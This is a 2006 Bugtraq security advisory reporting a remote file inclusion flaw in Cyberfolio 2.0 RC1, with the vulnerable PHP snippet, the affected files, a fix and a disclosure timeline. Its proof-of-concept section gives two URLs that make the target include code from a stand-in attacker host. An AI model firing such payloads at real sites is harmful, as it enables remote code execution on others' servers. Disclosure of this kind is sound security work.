bugtraq - [ECHO_ADV_58_2006]Cyberfolio <=2.0 RC1 $av Remote File Inclusion Vulnerability

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Message-ID: <20061106040926.31893.qmail@securityfocus.com>
Date: 6 Nov 2006 04:09:26 -0000
From: erdc@...o.or.id
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_58_2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion
 Vulnerability

-----------------------------------------------------------------------------------------------
[ECHO_ADV_58$2006]Cyberfolio <=2.0 RC1 $av  Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv58-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Cyberfolio
version		: <=2.0 RC1
URL		: http://www.cyberfolio.org

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script view.php
--------------------------view.php-----------------------------------
....
<?
...
$newfic=$av."checkauth".$_SESSION[inlog].".php";
include("$newfic");
include_once($av."config.php");
include_once($av."connect.php");
...
----------------------------------------------------------

Input passed to the "$av" parameter in view.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

portfolio/msg/view.php
portfolio/msg/inc_message.php
portfolio/msg/inc_envoi.php
portfolio/admin/incl_voir_compet.php


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/cyberfolio/portfolio/msg/view.php?av=http://attacker.com/inject.txt?
http://target.com/cyberfolio/portfolio/admin/incl_voir_compet.php?av=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $av affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@...oogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------